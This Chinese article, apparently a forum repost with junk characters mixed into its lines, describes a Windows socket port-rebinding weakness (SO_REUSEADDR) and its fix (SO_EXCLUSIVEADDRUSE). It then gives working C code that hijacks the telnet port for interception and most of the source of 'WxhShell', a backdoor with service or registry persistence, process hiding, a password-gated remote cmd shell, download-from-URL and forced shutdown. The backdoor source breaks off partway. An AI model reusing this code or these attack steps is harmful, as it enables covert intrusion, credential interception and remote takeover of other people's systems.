在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
bAxTLIf s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
ydWtvFuS !rxp?V n - saddr.sin_family = AF_INET;
MQ][mMM;w j&6 jRX saddr.sin_addr.s_addr = htonl(INADDR_ANY);
\o3"~\|6C j_?cpm{~ml bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
2^exL h Y ?]G}5 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
]8 U ~Iy ]0c Pml 这意味着什么?意味着可以进行如下的攻击:
IKvBf'%- ^c9ThV.v 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
`NwdbKX juToO 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
w5]"ga>Y Tc
ZnmN 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
w'Z!;4E0 )&W|QH=AI 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
^>~dlS !^U6Z@&/R 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
{j(4m >3;^l/2c 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
](r
^.k,R 2xmk,&s 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
HOYq?40.R 5!fSW2N #include
^6 /j_G #include
"2n;3ByR #include
L9IGK< #include
]S8LY.Az5 DWORD WINAPI ClientThread(LPVOID lpParam);
n~z\?Y=* int main()
G=M] 8+h {
4 9w=kzo WORD wVersionRequested;
YaFcz$GE_ DWORD ret;
>?XbU} WSADATA wsaData;
% mn /> BOOL val;
eFQQW`J SOCKADDR_IN saddr;
3_qdJ<, SOCKADDR_IN scaddr;
9n}A ^ int err;
p?rK`$U+J SOCKET s;
;?6>mh(` SOCKET sc;
H$!-f>Rxa int caddsize;
y{rn-?`{ HANDLE mt;
C@dGWAG DWORD tid;
@vH2Vydu wVersionRequested = MAKEWORD( 2, 2 );
5ouQQ)vA err = WSAStartup( wVersionRequested, &wsaData );
qR,.W/eS8 if ( err != 0 ) {
';l fS printf("error!WSAStartup failed!\n");
|n P_<9[ return -1;
+80 2`eax }
iV)ac\ saddr.sin_family = AF_INET;
|Mg }2!/L 6zYaA //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
(:?&G9k
" D?u` saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
SfI*bJo>V saddr.sin_port = htons(23);
9G:TW|)L[Q if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
GfsBQY/ {
*m_93J printf("error!socket failed!\n");
Fn,k!q return -1;
9={N4}< }
>iy^$bqF val = TRUE;
Fe="EDh //SO_REUSEADDR选项就是可以实现端口重绑定的
?R?Grw)`H if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
#4y,a_) {
A o3HX printf("error!setsockopt failed!\n");
1k>naf~O return -1;
gg8c7d:Q }
vj3isI4lU //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
*C_[jk@6 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
?:}Pa<D&K //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
SMq9j,k qc0 B<,x7 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Zd<[=%d {
R#0{Wg0O) ret=GetLastError();
,+-? Zv 2 printf("error!bind failed!\n");
k/#M<z return -1;
aW`dFitpM }
:o\5K2]: listen(s,2);
B
T7Id while(1)
+Jw{qQR/* {
i| xt f caddsize = sizeof(scaddr);
P0#`anUr1 //接受连接请求
6GOg_P sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
$r"A@69^RS if(sc!=INVALID_SOCKET)
wW()Zy0) {
xKW"X
mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
:Y.e[@!1x if(mt==NULL)
~L){O*Z {
1l]C5P}E printf("Thread Creat Failed!\n");
A9n41,h break;
4Iq5+Q }
VG\mo?G
}
F!R2_89iy CloseHandle(mt);
n#>5?W }
`cO|RhD@ closesocket(s);
*aG"+c6| WSACleanup();
*:#Z+7x
] return 0;
p"KV*D9b }
Doj(.wm~ DWORD WINAPI ClientThread(LPVOID lpParam)
:)LC gIQo {
66dTs,C SOCKET ss = (SOCKET)lpParam;
IozNjII$:. SOCKET sc;
thV Tdz unsigned char buf[4096];
v$JLDt_ SOCKADDR_IN saddr;
E!dp~RwZu long num;
/hfUPO5 DWORD val;
[0(mFMC` DWORD ret;
cyb(\ fsC //如果是隐藏端口应用的话,可以在此处加一些判断
=AzOnXW:S //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
j]4,6`b\ saddr.sin_family = AF_INET;
;*`_#Rn# saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
-R74/GBg saddr.sin_port = htons(23);
&NP6%}bR` if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
)]}$ {
t[ q3{- printf("error!socket failed!\n");
h&$Py return -1;
7V/Zr }
I}ndRDz[ val = 100;
HSql)iT if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
&z QWIv {
zi_[V@Es/ ret = GetLastError();
Cn/q= return -1;
(k#t}B[ }
* 2%oZXF if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
[U']kt {
UhBz<>i;! ret = GetLastError();
'v+96b/; return -1;
qu!<lW~c }
*cQz[S@F if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
'rh\CA/}D {
_0*=u$~R printf("error!socket connect failed!\n");
,L~snR'w closesocket(sc);
'yeh7oR closesocket(ss);
aLHrl6" return -1;
th90O|; }
y0y+%H- while(1)
YZ{;%&rB {
d>~`j8,B //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
)Kr(Y.w //如果是嗅探内容的话,可以再此处进行内容分析和记录
$WJy?_c //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
iI}nW num = recv(ss,buf,4096,0);
0O^U{#*$I if(num>0)
xT/9kM&}L send(sc,buf,num,0);
?qIGQ/af& else if(num==0)
H<{*ub4'L* break;
@@; 1%z num = recv(sc,buf,4096,0);
6iyt2qkh if(num>0)
Jb6& send(ss,buf,num,0);
H'']J9O else if(num==0)
Mi;Tn;3er break;
LsnXS9_ }
>7W"giWP closesocket(ss);
I>!|3ElT closesocket(sc);
.$OjUlzr-H return 0 ;
hOV_Oqe4? }
}:"R-s ELD
+:b P0Aas)! ==========================================================
83X/"2-K w
zdxw$E 下边附上一个代码,,WXhSHELL
VgUvD1v?} hN!.@L ==========================================================
y.%i cx<h_ #include "stdafx.h"
Us*Vn DU(X,hDBF #include <stdio.h>
td%Y4-+ - #include <string.h>
A03I-^0g+
#include <windows.h>
;Xz(B4 N~o #include <winsock2.h>
aTi0bQW{ #include <winsvc.h>
qP@L(_=g #include <urlmon.h>
~y`Pwj
-\5[Nq{N #pragma comment (lib, "Ws2_32.lib")
%OTQRe: #pragma comment (lib, "urlmon.lib")
BR%{bY^
5p =:kiSrBS3t #define MAX_USER 100 // 最大客户端连接数
*:k~g].Iz #define BUF_SOCK 200 // sock buffer
D_zcOq9 #define KEY_BUFF 255 // 输入 buffer
;Kt'Sit Y{`3`Pg&N #define REBOOT 0 // 重启
D~XU`;~u #define SHUTDOWN 1 // 关机
7Z9.z4\ Bc5YW-QD #define DEF_PORT 5000 // 监听端口
01'y^`\xQ |yuGK #define REG_LEN 16 // 注册表键长度
V#+126 #define SVC_LEN 80 // NT服务名长度
_3*: y/M_ elNB7%Y/ // 从dll定义API
oM-b96 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
9$n+-GSK typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
f;&` 9s| 1 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Au~+Zz|mQ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
9T?~$XlX wA{*W>i // wxhshell配置信息
LNWqgIq struct WSCFG {
?L`MFR int ws_port; // 监听端口
I=Gr^\x= char ws_passstr[REG_LEN]; // 口令
)j$b9ZBk int ws_autoins; // 安装标记, 1=yes 0=no
p|xs|O6{ char ws_regname[REG_LEN]; // 注册表键名
D:+)uX}MOf char ws_svcname[REG_LEN]; // 服务名
>B @i
E char ws_svcdisp[SVC_LEN]; // 服务显示名
R994R@gz char ws_svcdesc[SVC_LEN]; // 服务描述信息
f6@^Mg char ws_passmsg[SVC_LEN]; // 密码输入提示信息
+qE,<c}} int ws_downexe; // 下载执行标记, 1=yes 0=no
))8Emk^Q{ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
)zo#1$C- char ws_filenam[SVC_LEN]; // 下载后保存的文件名
= E##},N" L.R"~3 };
mYzsTUq oUnq"] // default Wxhshell configuration
"TEBByO' struct WSCFG wscfg={DEF_PORT,
W9:fKP "xuhuanlingzhe",
$K5ni {M; 1,
@2)t#~Wc4h "Wxhshell",
i7Y
s_8A"9 "Wxhshell",
q}wl_ku9+ "WxhShell Service",
gK&5HTo "Wrsky Windows CmdShell Service",
%g2/o^c* "Please Input Your Password: ",
J
r=REa0 1,
oHv{Y "
http://www.wrsky.com/wxhshell.exe",
@2-Hj~ "Wxhshell.exe"
$`-SVC };
1jR=h7^= r@N39O*Wq // 消息定义模块
LG"BfYy6 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
,AGM?&A char *msg_ws_prompt="\n\r? for help\n\r#>";
&ryl$!!3H char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
.aVHd<M char *msg_ws_ext="\n\rExit.";
6{Krw\0 char *msg_ws_end="\n\rQuit.";
Tw`F?i~ char *msg_ws_boot="\n\rReboot...";
H8(0.IR char *msg_ws_poff="\n\rShutdown...";
we6+2 char *msg_ws_down="\n\rSave to ";
9;;]q?* ,(1vEE[9- char *msg_ws_err="\n\rErr!";
]<&B
BQ char *msg_ws_ok="\n\rOK!";
@]?? +f}# :mCw.Jz<h char ExeFile[MAX_PATH];
K|P9uHD int nUser = 0;
u K+9gTv HANDLE handles[MAX_USER];
r{;VTQ int OsIsNt;
~*,Ddwr0a uD0(aqAZ SERVICE_STATUS serviceStatus;
)&b}^1 SERVICE_STATUS_HANDLE hServiceStatusHandle;
LS R_x$G+t /h.:br?M#P // 函数声明
~Hp#6+ int Install(void);
A)O_es2 int Uninstall(void);
M6o
xtt4 int DownloadFile(char *sURL, SOCKET wsh);
Huc3|~9 int Boot(int flag);
_RA{SO void HideProc(void);
yBXkN&1=%; int GetOsVer(void);
=|j*VF 2y" int Wxhshell(SOCKET wsl);
Zi2Eu4p l{ void TalkWithClient(void *cs);
=H.<"7 int CmdShell(SOCKET sock);
E< io^ int StartFromService(void);
Mo:!jS~a(Z int StartWxhshell(LPSTR lpCmdLine);
E-BOIy, yhw:xg_;Kz VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
\UkNE5 VOID WINAPI NTServiceHandler( DWORD fdwControl );
k'WS"<- 6Y92& // 数据结构和表定义
[N0/"> c SERVICE_TABLE_ENTRY DispatchTable[] =
k8Su/U {
)D6'k{6 M {wscfg.ws_svcname, NTServiceMain},
sp=7Kh?|> {NULL, NULL}
u`L!za7fi };
F1{?]>G Mdy0!{d // 自我安装
r-1yJ int Install(void)
B^_$
hJncc {
)eTnR:= char svExeFile[MAX_PATH];
nsr
_\F\ HKEY key;
82^
z-t{ strcpy(svExeFile,ExeFile);
EA%#/n |)|vG_ // 如果是win9x系统,修改注册表设为自启动
^6N3n kyZ if(!OsIsNt) {
S+Yy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
(F4d Fh RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
[7SI<xkv RegCloseKey(key);
it/C y\f if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
]XpU'/h>q; RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
}R(0[0NQe- RegCloseKey(key);
~]6Oz;~<3 return 0;
0IT20.~ }
]`CKQ>
o }
)+Y\NO?O }
`0n 7Cyed else {
]6i_d Wj // 如果是NT以上系统,安装为系统服务
^)%wq@Hi SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
a-UD_|! if (schSCManager!=0)
(Ay4B*|! {
7DHT)9lD/ SC_HANDLE schService = CreateService
qI4R`P" (
}{w_>!ee schSCManager,
+i q+ wscfg.ws_svcname,
$J;=Ux)$ wscfg.ws_svcdisp,
W:;` SERVICE_ALL_ACCESS,
2jrX SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
9^C!,A{u4 SERVICE_AUTO_START,
^c[CyZ:a SERVICE_ERROR_NORMAL,
=w;xaxjL svExeFile,
i+T0}M< NULL,
)n3biQL_ NULL,
o}AqNw60v NULL,
~;O=
7 NULL,
]>S$R&a NULL
*fuGVA );
zM9) .D
H if (schService!=0)
=%nqMV(y {
CB{k;H CloseServiceHandle(schService);
!z4Hj{A_ CloseServiceHandle(schSCManager);
-c<1H)W strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Lu#@~ strcat(svExeFile,wscfg.ws_svcname);
/KJx n6 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
yrK--C8 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
tKqCy\-q RegCloseKey(key);
Ig?.*j ] return 0;
V;(*\"O }
Jj^<:t5{rN }
+_|cZlQ& CloseServiceHandle(schSCManager);
H $qdU!c }
[#3Cg%V }
~:RDw<PWp @u'27c_<d3 return 1;
/iJcy:J }
~M9n<kmE \SH D // 自我卸载
KSpC%_LC int Uninstall(void)
exrt|A]_[ {
)1tnZ=& HKEY key;
;6&=]I Y$`hudJ& if(!OsIsNt) {
IG3K Pmu if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
qNQ3(1xW RegDeleteValue(key,wscfg.ws_regname);
iHG:W wM & RegCloseKey(key);
2zr WR%B if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
A](}"Pi!n RegDeleteValue(key,wscfg.ws_regname);
?D$b%G{ RegCloseKey(key);
G~$M"@Q7N return 0;
5KPPZmO }
0.+Z;j }
g9r5t'; }
?PxYS%D_L else {
GzZ|T7fm (Ss77~W7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
`))J8j" if (schSCManager!=0)
KlX |PQ {
u>i+R"hi" SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
H|Fqc=qp if (schService!=0)
[@l
v]+@ {
E,yzy[gl if(DeleteService(schService)!=0) {
O t4+VbB6 CloseServiceHandle(schService);
([XyW{=h! CloseServiceHandle(schSCManager);
"62Ysapq+ return 0;
:M?') }
!&:W1Jkp( CloseServiceHandle(schService);
DSG +TA" }
4;~lpty CloseServiceHandle(schSCManager);
m&jt[
}
q
]R @:a/ }
(LvOsr~ M0IqQM57N return 1;
X|n[9h:% }
VFaK>gQ [@?.}! // 从指定url下载文件
&8YI)G% int DownloadFile(char *sURL, SOCKET wsh)
UeiJhH,u {
wbF1>{/" HRESULT hr;
DBh/V#* D char seps[]= "/";
&T/9yW[L char *token;
-0J<R;cVs char *file;
hw.demD char myURL[MAX_PATH];
hs#s $})}Z char myFILE[MAX_PATH];
0~L8yMM U!UX"r strcpy(myURL,sURL);
qxCL token=strtok(myURL,seps);
2d J)4 while(token!=NULL)
`r0
qn'* {
n7!Lwq2 file=token;
lJQl$Wx^ token=strtok(NULL,seps);
7)It1i- }
WMz|FFKVY 1B]wSvP@ GetCurrentDirectory(MAX_PATH,myFILE);
G;#t6bk strcat(myFILE, "\\");
=d4',[O strcat(myFILE, file);
\7w85$ send(wsh,myFILE,strlen(myFILE),0);
5}^08Xl send(wsh,"...",3,0);
L5|;VH hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
SE-, 1p if(hr==S_OK)
K~~*M?.Z return 0;
ia.B@u1/ else
[&}<!:9' return 1;
P##( V!YR u2m{Yx| }
w
I
7 ,7nb;$] // 系统电源模块
<+JFal int Boot(int flag)
0J,d9a [1 {
G/;aZ HANDLE hToken;
zgOwSg8 TOKEN_PRIVILEGES tkp;
b0CaoSWo M@ZpgAfq if(OsIsNt) {
<T~fh>a OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
RpXG gw LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
&XTd[_VW! tkp.PrivilegeCount = 1;
8}b[Q/h! tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
gK_[3FiKt AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
b6M)qt9R if(flag==REBOOT) {
mztq7[&- if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
3\~fe/z'I return 0;
3T^dgWXEG }
>N"PLSY1 else {
"JGig!9 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
BJ2W}R return 0;
`fh_8%m]* }
weadY,-H8 }
_@?Jx/`;bk else {
03\8e?$ if(flag==REBOOT) {
90k|u'ikOp if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
rSCX$ @@F return 0;
`%:(IGxz }
Yzx0 [_'u else {
4T\/wyq0 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
^u&Khc~
y return 0;
WC; a }
jmVy4* P_ }
eC:Q)%$%l iz5wUyeg return 1;
W%QtJB1) }
k(Xv&Zn 4^9_E&Fa // win9x进程隐藏模块
yp'>+cLa void HideProc(void)
AQU: 0 {
"lb!m9F{ P&,cCR> HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
V!tBipX% if ( hKernel != NULL )
zgTi Az {
qnV9TeU) pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
<R%6L& ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
\>azY
g FreeLibrary(hKernel);
y{P9k8v!z }
BkqW>[\5xm 2{:
J1'pC return;
)f&]H} }
70(?X/5# Oj\mkg // 获取操作系统版本
OEi9
)I int GetOsVer(void)
Qj[O$L0 $ {
|^!@ OSVERSIONINFO winfo;
5W-M8dc6 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
;itg>\p3 GetVersionEx(&winfo);
1<e%)? G if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
eR;0pWVl return 1;
?MB nnyo6 else
sUMn
(@r return 0;
^C
T}i' }
8nR,GW\ P$(}}@ // 客户端句柄模块
$o H,:x?} int Wxhshell(SOCKET wsl)
@b({QM| {
Q(7l<z SOCKET wsh;
1OS3Gv8jc~ struct sockaddr_in client;
POs~xaZ`H DWORD myID;
%W@IB8]Vr nmrk-#._@9 while(nUser<MAX_USER)
S3wH
M {
9h pM*wt int nSize=sizeof(client);
YJsi5 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
ZM!~M>B9R if(wsh==INVALID_SOCKET) return 1;
uMZf9XUE W<l(C!{ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
brot&S2P>< if(handles[nUser]==0)
T6#GlO)8) closesocket(wsh);
11+_OC2-
else
!7?wd^C'f nUser++;
L<`g}iw }
9x,+G['Zt WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
^q2zqC ywte\} return 0;
ZeV)/g,w }
v21? ~Wv?p4 // 关闭 socket
!~v>&bCG>9 void CloseIt(SOCKET wsh)
(P8oXb+% {
&i RX-)^u closesocket(wsh);
r U5'hK
nUser--;
t,nB`g? ExitThread(0);
#1R
%7*$i }
gvYs<,: B[50{;X // 客户端请求句柄
uD3_'a void TalkWithClient(void *cs)
e vuP4-[y {
=<xbE;,0 k=_@1b- SOCKET wsh=(SOCKET)cs;
W -&5
v char pwd[SVC_LEN];
_Oq\YQb v char cmd[KEY_BUFF];
miqCUbcU char chr[1];
xM\ApN~W int i,j;
K(S/D(\
FL n
Lb 9$& while (nUser < MAX_USER) {
>j3N-;o@? Bs}>#I if(wscfg.ws_passstr) {
Q8i6kf! if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
{c;3$ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Xi.?9J`@ //ZeroMemory(pwd,KEY_BUFF);
2O/_hv. i=0;
3s2M$3r)6 while(i<SVC_LEN) {
,pzCJ@5 *Cw2 h // 设置超时
SGm?"esEt fd_set FdRead;
9_{!nQC.g struct timeval TimeOut;
[DwB7l)O( FD_ZERO(&FdRead);
ow"Xv FD_SET(wsh,&FdRead);
;0'v`ob'.? TimeOut.tv_sec=8;
Z
ngJ9js TimeOut.tv_usec=0;
@35shLs int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
wP*Z/}Uum+ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
,jmG!qJb b??1Up if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
(P-<9y@ pwd
=chr[0]; K2 2Xo<3
if(chr[0]==0xd || chr[0]==0xa) { /+msrrpD
pwd=0; |e\%pfZ
break; Lw`\J|%p
} {J$aA6t:"T
i++; $!Tw`O
} @@jdF-Utj;
`Fj(g!`
// 如果是非法用户,关闭 socket J^4k}
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2wCRT}C
} 8n? .w:Y/
tw66XxE
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); HJm O+
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [eRMlSXA
r;z A `
while(1) { 5,C,q%2
Df (6DuW
ZeroMemory(cmd,KEY_BUFF); t=AR>M!w~
M %~kh"
// 自动支持客户端 telnet标准 Hik[pVK@
j=0; 9&cZIP
while(j<KEY_BUFF) { b3+PC$z2h
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <=Qk^Y2k
cmd[j]=chr[0]; >q`X%&l_
if(chr[0]==0xa || chr[0]==0xd) { "dOzQz*E
cmd[j]=0; eAMT7 2_
break; ?F/3]lsggT
} *rLs!/[Z_
j++; )T?ryp3ev
} KXJHb{?
k&b>-QP6
// 下载文件 }8HLyK,4
if(strstr(cmd,"http://")) { i7FEjjGtG
send(wsh,msg_ws_down,strlen(msg_ws_down),0); :z\STXq
if(DownloadFile(cmd,wsh)) \+xsJbEV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ioggD
else !_@%/I6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D_Y;N3E/rS
} FWg7e3
else { 9\F^\h{
ry'(mM
switch(cmd[0]) { KVuv%?
0NxaQ`\
// 帮助 (Gcl,IW
case '?': { cc[w%jlA#
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yWzTHW`)Mr
break; &>o)7H];
} *D,T}N
// 安装 E'Bt1u
case 'i': { .
fIodk
if(Install()) H|Ems}b
send(wsh,msg_ws_err,strlen(msg_ws_err),0); isjkfl-!
else ]l%j>Vb!L
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {F j`'0Xu;
break; G;e}z&6<k
} 5j]%@]M$Z
// 卸载 _bX)fnUu
case 'r': { KjadX&JD
if(Uninstall())
!ZRV\31%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); iQKfx#kt
else om1 /9
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bm;4NA?Gg
break; ]9' \<uR
} rhrlEf@
// 显示 wxhshell 所在路径 ]Uu/1TTf
case 'p': { +~-|(
y
char svExeFile[MAX_PATH]; DcOLK\
strcpy(svExeFile,"\n\r"); hXCDlCO
strcat(svExeFile,ExeFile); ;bX{7j
send(wsh,svExeFile,strlen(svExeFile),0); .qZ<ROZ
break; b|N EU-oy
} Y3[@(
// 重启 `JRdOe
case 'b': { CVm*Q[5s"
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R:Lu)d>=
if(Boot(REBOOT)) 9cLKb
send(wsh,msg_ws_err,strlen(msg_ws_err),0); M0|z^2
else { 6R25Xfm_|
closesocket(wsh); 'Gk|&^
ExitThread(0); &b_duWs
} "k.<" pf
break; tm$3ZzP4
} .MKxHM7
// 关机 Fq8Z:;C8
case 'd': { [(C lvGx
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); y3x_B@}BY
if(Boot(SHUTDOWN)) w^~,M3(+)1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =6Z1yw7s
else { [lf[J&}X
closesocket(wsh); m\(a{x
ExitThread(0); wegBMRQVp
} zIu1oF4[
break; H_{Yr+p
} ,D8Tca\v
// 获取shell FX{Sb"
case 's': { /O9z-!Jz
CmdShell(wsh); aa|xZ
closesocket(wsh); C-8@elZ1
ExitThread(0); YJ6Xq||_
break; <*L8kNykK
} E:2Or~
// 退出 NunT1ved
case 'x': { Af;$}P
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); p|zW2L
CloseIt(wsh); x`4">:IA
break; e.[h
} o.,hCg)X
// 离开 8O]$)E
case 'q': { |q?A8@\u
send(wsh,msg_ws_end,strlen(msg_ws_end),0); BwR)--75
closesocket(wsh); jN'zNOV~
WSACleanup(); ='(:fHhhX
exit(1); y&UsSS
break; 7XaRi@uG
} 7z}NI,R}1
} TV} H
} bFcI\Q{4
!( /dbHB
// 提示信息 \Q]7Hw<
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N*eZ4s'
} DUaj]V{_^
} L9T|* ?||
_s^sZ{'2_
return; 'h$1vT
} T5ol2
:p89J\
// shell模块句柄 7v{Dwg
int CmdShell(SOCKET sock) >y5~:L
{ ct`89~"
STARTUPINFO si; [j):2
ZeroMemory(&si,sizeof(si)); -{^Gzui
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A," u~6Bn
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $. Ih-
PROCESS_INFORMATION ProcessInfo; eKt~pzXwm
char cmdline[]="cmd"; 6:H@=fEv
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %5'6^bT
return 0; tks1*I$S<
} &4LrV+`$V
Uo# Pe@ieQ
// 自身启动模式 @,$>H7o
int StartFromService(void) wtK+\Qnb
{ d4~!d>{n|c
typedef struct ZjWI~"]
{ />H9T[3=
DWORD ExitStatus; #}o*1
DWORD PebBaseAddress; t\ ym4`"
DWORD AffinityMask; s~3"*,3@
DWORD BasePriority; {>9vm!<[*\
